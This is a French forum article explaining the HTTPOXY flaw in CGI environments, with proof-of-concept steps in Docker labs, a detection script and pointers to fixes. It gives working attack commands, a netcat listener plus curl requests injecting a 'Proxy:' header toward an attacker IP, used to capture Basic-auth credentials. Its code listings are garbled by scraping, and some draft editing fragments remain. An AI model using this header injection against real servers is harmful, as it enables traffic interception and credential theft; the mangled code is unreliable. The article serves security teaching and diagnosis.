Annonce

Réduire
Aucune annonce.

Exploitation et scénario d'attaque: HTTPOXY la vieille faille refait surface

Réduire
X
 
  • Filtre
  • Heure
  • Afficher
Tout nettoyer
nouveaux messages

  • News Exploitation et scénario d'attaque: HTTPOXY la vieille faille refait surface

    HTTPOXY la vieille faille refait surface sous les feux des projecteur




    Oubliée pendant près de 10 ans, HTTPOXY refait surface en 2013 et 2015 sur Apache et nginx.
    Mais ce n’est que depuis début juillet que la faille est dévoilée au grand public accompagnée de son logo et son site web.
    La faille HTTPOXY provient d’un conflit de nom entre deux variables d’environnement (système et CGI). Elle permet selon certaines conditions précises, d’intercepter des données et de réaliser une attaque Man-In-The-Middle.


    I. Mise en contexte

    CGI (« Common Gateway Interface ») est un standard conçu pour générer des pages web dynamiques. Pour se faire, CGI définit une interface permettant à des serveurs web HTTP (Apache, nginx, etc.) d’entrer en interface de communiquer avec des scripts exécutables (ou fichiers binaires) en vue de générer lesdites le contenu d’une page de manière dynamique, en fonction des différents paramètres (paramètres HTTP, mais également d’autres paramètres « techniques » comme l’origine de la requête …)pages.
    Historiquement développé en Perl, CGI est indépendant de tout langage de développement : les scripts CGI peuvent être écrit en PHP, Python, Ruby, Perl etc.

    Les environnement CGI vulnérables
    La vulnérabilité à la faille dépend de l’environnement CGI, de la bibliothèque u client HTTP utilisée pour recevoir et envoyer les requêtes, et par conséquent du langage dans lequel ils elles sont disponibles.

    CGI :
    • Vulnérable sous PHP (en utilisant php-fpm ou mod_php, et le client Guzzle 4+ ou Artax)
    • Vulnérable sous Python (CGI-handler ou mod_cgi, et le client requests)
    • Vulnérable sous Go (net/httpd/cgi ou mod_cgi, et le client net/http)


    FastCGI :
    • Vulnérable sous PHP (HHVM)
    • Non vulnérable sous Python (requests)
    • Non vulnérable sous Go (net/http/fcgi)


    WSGI : Non vulnérable

    Note : Les langages web Microsoft (ex : ASP.net) ne sont pas vulnérables. Sauf si vous utilisez des modules PHP et des librairies tierces

    II – Détail de la vulnérabilité HTTPOXY

    La vulnérabilité provient d’un conflit de nom entre deux variables d’environnement (variable HTTP/CGI et variable système)au sein de CGI, et notamment celles liées aux serveurs proxy. En spécifiant une variable dans la requête HTTP, il est possible de forcer le système à écraser le contenu de la variable d’environnement système. ; permettant alors à un attaquant d’intercepter de rediriger une partie du trafic ou de réaliser une attaque de type « Man-in-The-Middle ».

    Pour expliquer la vulnérabilité, nous allons présenter deux types de variables d’environnement.

    2.1 Les variables d’environnement système
    Il existe une variable d’environnement interne au système appelé HTTP_PROXY utilisée afin de communiquer définir les paramètres de proxy HTTP (ou HTTPS) à une application. Ces paramètres seront utilisés par des bibliothèques, applications, modules, scripts, y compris CGI, afin de configurer diriger correctement le trafic HTTP sortant vers le bon point de sortie.

    2.2 Les variables d’environnement CGI (issues des requêtes HTTP)
    Un autre type de variable d’environnement appelée « Request Meta-Variables » « Protocol-Specific Meta-Variables » sera généré par le serveur HTTP pour définir l’environnement d’exécution du script CGI. Par exemple, lorsqu’une requête est envoyée au serveur HTTP, celui-ci l’analyse, puis stocke certaines informations dans des variables à destination du script CGI. Il lui transmettra par exemple le type de contenu, le port TCP, la méthode de requêtes (GET ou POST) etc. Ces variables sont respectivement intitulées :
    • CONTENT_TYPE
    • SERVER_PORT
    • REQUEST_METHOD



    D’autres informations arbitraires issues de requêtes peuvent être transmises au script CGI. Celle-ci sont définir dans la RFC CGI sous la forme d’une sous-classe baptisée « Protocol-Specific Meta-Variables ». Ainsi
    D’autres informations issues de requêtes peuvent être transmises au script CGI, et notamment celles contenues, l’ensemble dans l’entête des requêtes HTTP reçu, et ne correspondant pas aux entêtes HTTP classiques sont transmis sous cette forme : p, par exemple le paramètre « cookie ».
    La correspondance de l’entête avec les variables d’environnement suit une procédure standard :
    1. le nom de l’entête HTTP est converti en majuscule
    2. « - »  est remplacé par « _ »
    3. le tout est préfixé par « HTTP_ »



    De ce fait notre en-tête « cookie » sera converti en : « HTTP_COOKIE »
    Avec l’entête « proxy », cela donnera une variable d’environnement de type Protocol-Specific Meta-Variables  : « HTTP_PROXY ».

    En résumé, nous avons donc deux variables d’environnement du portant le même nom :
    une interne au système « HTTP_PROXY ». Spécifiant le serveur proxy à utiliser pour les flux HTTP sortants.
    - une de type Protocol-Specific Meta-Variables  « HTTP_PROXY » s. Spécifiant le serveur proxy qu’utilisé par le client pour utilise l’utilisateur ayant effectué laenvoyer sa requête au serveur.

    Ces deux variables, complètement différentes, de par leur même nom, rentrent en conflit.

    2.3 Le dysfonctionnement : conflit de nom « HTTP_PROXY ».
    Le problème réside dans le fait que CGI ne distingue pas les deux types de variables.
    Un script CGI (ou un module, ou bibliothèque) lit la variable d’environnement « HTTP_PROXY » (celle de type Protocol-Specific Meta-Variables) et suppose qu’elle contient les paramètres de Proxy HTTP « système ». Cette valeur mal interprétée changera alors la manière dont les nouvelles requêtes HTTP seront traitées par le script CGI pour le processus en cours.

    2.4 Conséquences
    Concrètement, un utilisateur malveillant sera en mesure d’envoyer au script CGI vulnérable une requête HTTP dont l’entête contiendra une serveur proxy sous le contrôle de l’attaquant.

    Dans les faits :
    1. Le serveur HTTP reçoit la requête, exécute la procédure habituelle
    2. Stocke le proxy dans la variable d’environnement (meta-variable) « HTTP_PROXY »
    3. Appelle le script CGI. Celui-ci confond avec la variable système et se configure automatiquement afin d’utiliser le serveur proxy spécifié.
    4. Et pour finir, si le script effectue des requêtes HTTP, alors ces requêtes transiteront par le serveur proxy de l’attaquant qui sera alors en mesure d’intercepter le trafic ou de réaliser une attaque de type « Man-in-The-Middle ».



    III- Exploitation de la vulnérabilité
    L’exploitation de la vulnérabilité est très simple.
    Dans un premier temps nous allons reproduire le POC disponible sur le Gitbug d’HTTPoxy.
    Ensuite nous mettrons en œuvre un POC plus avancé, en situation semi-réelle, où nous récupérerons un mot de passe et des informations potentiellement sensibles.

    3.1) POC PHP issu d’HTTPOXY.ORG

    0. Monter + lancer le dockerIl suffit de télécharger, créer l’image Docker et lancer l’instance
    Code:
    git clone https://github.com/httpoxy/php-fpm-httpoxy-poc.git
    cd php-fpm-httpoxy-poc/
    docker build -t fpm-guzzle-proxy .
    docker run -d -p 80:80 --name fpm-test-instance fpm-guzzle-proxy
    1. Nous mettons en place notre pseudo proxy avec netcat
    Code:
    nc -l -p 12345
    2. Une fois ceci fait, j’ai besoin de mon adresse IP du point de vue de docker (pour mon pseudo serveur proxy )

    Code:
    Ifconfig

    3. J’envoie ma requête forgée afin de déclencher la vulnérabilité
    Code:
    curl -H 'Proxy: 172.16.10.170:12345/' http://127.0.0.1/
    0. Je mets en place mon « proxy » (une sorte de) via netcat :
    Code:
    nc -l -p 12345
    J’envoie ma requête avec injection de proxy au serveur
    Code:
    curl -H 'Proxy: 172.16.10.170:12345/' http://127.0.0.1/
    4. Je J’reçois ma requête aperçois la requête sur transitant mon par mon serveur proxy


    3.2) Attaque semi-réaliste

    Nous allons ici réaliser un POC sur une architecture web simpliste contenant une machine hébergeant un site, et une seconde machine, demandant une authentification et hébergeant un potentiel micro service tiers et différentes ressources.


    Lorsque nous effectuons une requête vers le site vitrine, celui va s’authentifier sur le micro service distant et récupérer des ressources.

    Notre but ici est d’exploiter HTTPOXY en injectant notre proxy dans le site vitrine, une fois ceci fait nous allons alors intercepter la requête qu’effectuera le site vitrine au micro service. Ce qui nous permettra ainsi de récupérer l’identifiant et mot de passe utilisé.



    Notre infrastructure est en place sur 3 containers Docker, l’un étant notre proxy attaquant, les deux autres sont les serveurs.

    Code:
    docker ps –a


    Site vitrine :
    Le site vitrine est basé sur le dockerfile du POC PHP mis à disposition par HTTPOXY.org
    Il repose sur un index.php qui envoie une requête au microservice au travers d’un environnement CGI vulnérable (Guzzle).

    Voilà l’index.php :
    Code PHP:
     <?php
    /*
     * Guzzle Proxy Configuration by Remote User
     */
    require 'vendor/autoload.php';
    $client = new GuzzleHttp\Client();


    $client->request('GET''http://172.17.0.2:5000/secret-page', [
        
    'auth' => ['admin''secret']
    ]);
    echo 
    "Request sent\n";

    Micro service :
    Se base sur un serveur web léger utilisant Flask (Python) et attend une authentification HTTP. Il renvoi en fonction page-secret.html (« access granted ») ou error.html si l’identifiant est mauvais.

    Code PHP:
     #!/usr/bin/env python
    # -*- coding: utf-8 -*-

    from functools import wraps
    from flask import Flask
    from flask import request
    from flask import Response
    from flask import render_template
    app 
    Flask(__name__)


    def check_auth(usernamepassword):
        
    """This function is called to check if a username /
        password combination is valid.
        """
        
    return username == 'admin' and password == 'secret'

    def authenticate():
        
    """Sends a 401 response that enables basic auth"""
        
    return Response(
        
    'Could not verify your access level for that URL.\n'
        'You have to login with proper credentials'
    401,
        {
    'WWW-Authenticate''Basic realm="Login Required"'})

    def error():
        
    """Sends a 401 response that enables basic auth"""
        
    return render_template('error.html')

    def good():
        
    """Sends a 401 response that enables basic auth"""
        
    return render_template('error.html')

    def requires_auth(f):
        @
    wraps(f)
        
    def decorated(*args, **kwargs):
            
    auth request.authorization

            
    if not auth:
                return 
    authenticate()

            if 
    auth and not check_auth(auth.usernameauth.password):
                    return 
    error()

            return 
    f(*args, **kwargs)
        return 
    decorated

    @app.route('/secret-page')
    @
    requires_auth
    def secret_page
    ():
        return 
    render_template("secret_page.html")

    if 
    __name__ == '__main__':
        
    app.run(debug=True,host='0.0.0.0'




    Notre infrastructure étant en place, mon proxy d’attaque aussi, procédons à l’exploitation.

    1. J’envoie ma requête contenant mon serveur proxy d’attaque dans l’entête HTTP:
    Code:
    curl –H ‘Proxy: 172.17.0.4 :8080/’ 127.0.0.1
    Le site vitrine va récupérer l’entête, la stocker dans la variable d’environnement HTTP_PROXY. CGI va alors confondre avec sa variable d’environnement système du même nom et se configurer, pour la tâche en cours, avec notre serveur proxy d’attaque. Ce qui aura pour résultat de faire transiter les requêtes émanent du site vers notre passerelle et ainsi réaliser une attaque de type Man-In-The-Middle. Voyons ça de suite.

    2. Nous basculons sur le serveur proxy afin d’observer les requêtes qui ont transité.


    On aperçoit la requête effectuée par le site vers le micro service. Le champ « Authorization » nous intéresse ici, car il contient l’identifiant et le mot de passe encodé en base 64.

    Avant de le décoder, nous allons vérifier qu’il est correct. Pour ceci nous allons simplement regarder la réponse que le micro service nous a donné. On imagine quelque chose comme « correct » pour des identifiants bons, et « incorrect » pour le cas inverse.




    Le micro service nous a répondu et affiche une page contenant « access granted ». Par conséquent le couple identifiant et mot de passe que le site a transmis est correct. Nous pouvons le décoder pour récupérer sa valeur.
    Il nous suffit de passer la valeur en base64 dans un outil de décodage, voilà le résultat :



    Nous avons récupéré le couple identifiant:mot de passe -> admin:secret.
    Qui correspond bien au mot de passe utilisé par mon application, bravo.


    Mise en place schéma d’attaque vidéo (via une vraie appli) voir avec Charles, ex
    eslastic search, noDB, mais bcp de conditions requises pour que ce soit vulnérable

    IV – Savoir si son système est vulnérable
    Afin de diagnostiquer la vulnérabilité, installez temporairement le script CGI qui suit, et rendez-le exécutable.

    Test.cgi

    Code:
    #!/bin/sh
    echo "Content-Type:text/plain"
    echo ""
    echo "HTTP_PROXY='$HTTP_PROXY'"
    Appelez ensuite le script en effectuant une requête HTTP utilisant l’entête « Proxy » vulnérable

    Code:
    curl -H ‘Proxy: AFFECTED’ http://my-server-name/cgi-bin/test.cgi
    Si vous voyez la sortie suivante, votre serveur n'est pas affecté :

    Code:
    HTTP_PROXY="
    En revanche si vous voyez à la place, la sortie suivante, ou toute autre sortie, votre serveur peut être affecté et vous devez appliquer une des solutions de contournement ci-dessous :

    Code:
    HTTP_PROXY='AFFECTED'

    V – Se protéger
    Pour vous protéger de la vulnérabilité, il suffit de mettre à jour votre serveur ainsi que d’appliquer les solutions de contournement ci-dessous.
    Il existe aussi des solutions de contournement, disponibles sur le site https://httpoxy.org/#fix-now



    Sources :


    Suivre Hackademics: Twitter, Google+, Facebook.
Chargement...
X